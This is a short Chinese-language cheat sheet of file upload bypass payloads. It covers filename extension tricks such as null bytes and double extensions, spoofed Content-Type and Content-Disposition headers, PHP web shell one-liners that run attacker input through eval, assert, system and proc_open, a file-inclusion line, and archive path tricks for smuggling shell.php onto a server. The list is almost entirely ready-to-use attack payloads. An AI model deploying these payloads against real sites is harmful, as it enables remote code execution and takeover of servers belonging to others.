以下是一些文件上传漏洞绕过Payloads示例:
- 更改文件扩展名:
file.php.jpg
file.php%00.jpg
file.php;.jpg
file.php.\x00jpg
- 绕过MIME类型和Content-Disposition:
Content-Type: image/png
Content-Disposition: form-data; name="file"; filename="test.php"
- 过滤函数名称:
<?php eval($_POST['a']);?>
<?php assert($_POST['a']);?>
<?php system($_POST['a']); ?>
<?php proc_open($_POST['a'], array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); ?>
- 利用文件包含漏洞上传恶意文件:
<?php include($_GET['file']); ?>
- 利用解压缩漏洞上传恶意文件:
test.zip
test.zip#shell.php
test.zip/./shell.php
test.zip/..shell.php
test.tar.gz/shell.php
需要注意的是,这些Payload可能会因为目标应用程序的不同而不起作用。